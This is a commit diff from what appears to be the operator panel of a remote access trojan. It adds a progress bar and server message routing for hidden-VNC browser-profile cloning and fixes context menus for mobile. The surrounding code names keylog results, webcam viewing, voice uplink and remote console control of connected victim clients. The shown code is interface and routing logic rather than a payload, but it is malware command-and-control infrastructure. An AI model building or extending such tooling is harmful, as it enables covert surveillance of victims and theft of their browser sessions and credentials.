add hvnc cloning progress, fix context menu stuff for mobile view, more updates
This commit is contained in:
@@ -206,6 +206,51 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
}
|
||||
|
||||
const cloneProgressEl = document.getElementById("cloneProgress");
|
||||
const cloneProgressBar = document.getElementById("cloneProgressBar");
|
||||
const cloneProgressPct = document.getElementById("cloneProgressPct");
|
||||
const cloneProgressLabel = document.getElementById("cloneProgressLabel");
|
||||
let cloneHideTimer = null;
|
||||
|
||||
function handleCloneProgress(msg) {
|
||||
if (!cloneProgressEl) return;
|
||||
const pct = Math.min(100, Math.max(0, Number(msg.percent) || 0));
|
||||
const status = msg.status || "";
|
||||
const browser = msg.browser || "";
|
||||
const totalMB = ((Number(msg.totalBytes) || 0) / (1024 * 1024)).toFixed(1);
|
||||
const copiedMB = ((Number(msg.copiedBytes) || 0) / (1024 * 1024)).toFixed(1);
|
||||
|
||||
if (cloneHideTimer) {
|
||||
clearTimeout(cloneHideTimer);
|
||||
cloneHideTimer = null;
|
||||
}
|
||||
|
||||
if (status === "done") {
|
||||
cloneProgressBar.style.width = "100%";
|
||||
cloneProgressPct.textContent = "100%";
|
||||
cloneProgressLabel.textContent = `${browser} clone complete`;
|
||||
cloneHideTimer = setTimeout(() => {
|
||||
cloneProgressEl.classList.add("hidden");
|
||||
cloneProgressEl.classList.remove("flex");
|
||||
}, 3000);
|
||||
return;
|
||||
}
|
||||
|
||||
cloneProgressEl.classList.remove("hidden");
|
||||
cloneProgressEl.classList.add("flex");
|
||||
|
||||
if (status === "scanning") {
|
||||
cloneProgressBar.style.width = "0%";
|
||||
cloneProgressPct.textContent = "…";
|
||||
cloneProgressLabel.textContent = `Scanning ${browser} profile`;
|
||||
return;
|
||||
}
|
||||
|
||||
cloneProgressBar.style.width = `${pct}%`;
|
||||
cloneProgressPct.textContent = `${pct}%`;
|
||||
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
@@ -542,6 +587,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
handleStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -550,6 +599,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
handleStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
});
|
||||
|
||||
ws.addEventListener("open", function () {
|
||||
|
||||
@@ -131,7 +131,7 @@ export function createRenderer({
|
||||
card.dataset.id = client.id;
|
||||
card.dataset.hwid = client.hwid || "";
|
||||
let longPressTimer = null;
|
||||
let longPressTriggered = false;
|
||||
card._longPressTriggered = false;
|
||||
let pointerStartX = 0;
|
||||
let pointerStartY = 0;
|
||||
|
||||
@@ -158,12 +158,12 @@ export function createRenderer({
|
||||
const clientId = card.dataset.id;
|
||||
if (!clientId) return;
|
||||
|
||||
longPressTriggered = false;
|
||||
card._longPressTriggered = false;
|
||||
pointerStartX = e.clientX;
|
||||
pointerStartY = e.clientY;
|
||||
clearLongPress();
|
||||
longPressTimer = setTimeout(() => {
|
||||
longPressTriggered = true;
|
||||
card._longPressTriggered = true;
|
||||
openMenu(clientId, e.clientX, e.clientY);
|
||||
}, TOUCH_LONG_PRESS_MS);
|
||||
});
|
||||
@@ -317,8 +317,8 @@ export function createRenderer({
|
||||
?.addEventListener("click", () => openModal(client.thumbnail));
|
||||
|
||||
card.onclick = (e) => {
|
||||
if (longPressTriggered) {
|
||||
longPressTriggered = false;
|
||||
if (card._longPressTriggered) {
|
||||
card._longPressTriggered = false;
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
return;
|
||||
|
||||
@@ -259,16 +259,20 @@ function hideSubmenu() {
|
||||
ctxMain.querySelectorAll(".ctx-row").forEach(r => r.classList.remove("ctx-active"));
|
||||
}
|
||||
|
||||
// Desktop: hover to open group
|
||||
function isMobileMenu() {
|
||||
return window.matchMedia("(max-width: 600px)").matches;
|
||||
}
|
||||
|
||||
ctxMain.querySelectorAll(".ctx-row").forEach(rowEl => {
|
||||
rowEl.addEventListener("mouseenter", () => {
|
||||
if (isMobileMenu()) return;
|
||||
const groupId = rowEl.dataset.groupToggle;
|
||||
if (groupId) showSubmenu(groupId, rowEl);
|
||||
});
|
||||
});
|
||||
|
||||
// Debounced hide — prevents the 5px gap between panels from closing the submenu
|
||||
function scheduleHide() { _hideTimer = setTimeout(hideSubmenu, 150); }
|
||||
function scheduleHide() { if (!isMobileMenu()) _hideTimer = setTimeout(hideSubmenu, 150); }
|
||||
function cancelHide() { clearTimeout(_hideTimer); _hideTimer = null; }
|
||||
|
||||
ctxMain.addEventListener("mouseleave", scheduleHide);
|
||||
|
||||
@@ -88,6 +88,17 @@
|
||||
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
||||
<span>Connecting</span>
|
||||
</div>
|
||||
<div
|
||||
id="cloneProgress"
|
||||
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
<i class="fa-solid fa-clone text-violet-400"></i>
|
||||
<span id="cloneProgressLabel">Cloning profile…</span>
|
||||
<div class="w-32 h-2 bg-slate-700 rounded-full overflow-hidden">
|
||||
<div id="cloneProgressBar" class="h-full bg-violet-500 rounded-full transition-all duration-200" style="width: 0%"></div>
|
||||
</div>
|
||||
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
|
||||
@@ -75,6 +75,7 @@ import {
|
||||
handleWebcamViewerMessage,
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -403,6 +404,7 @@ async function startServer() {
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
|
||||
@@ -71,6 +71,7 @@ type WsLifecycleDeps = {
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -294,6 +295,9 @@ export function handleWebSocketMessage(
|
||||
case "webcam_devices":
|
||||
deps.handleWebcamDevices(info.id, payload);
|
||||
break;
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -433,6 +433,19 @@ export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_clone_progress",
|
||||
browser: String(payload.browser || ""),
|
||||
percent: Number(payload.percent) || 0,
|
||||
copiedBytes: Number(payload.copiedBytes) || 0,
|
||||
totalBytes: Number(payload.totalBytes) || 0,
|
||||
status: String(payload.status || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
|
||||
@@ -27,6 +27,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user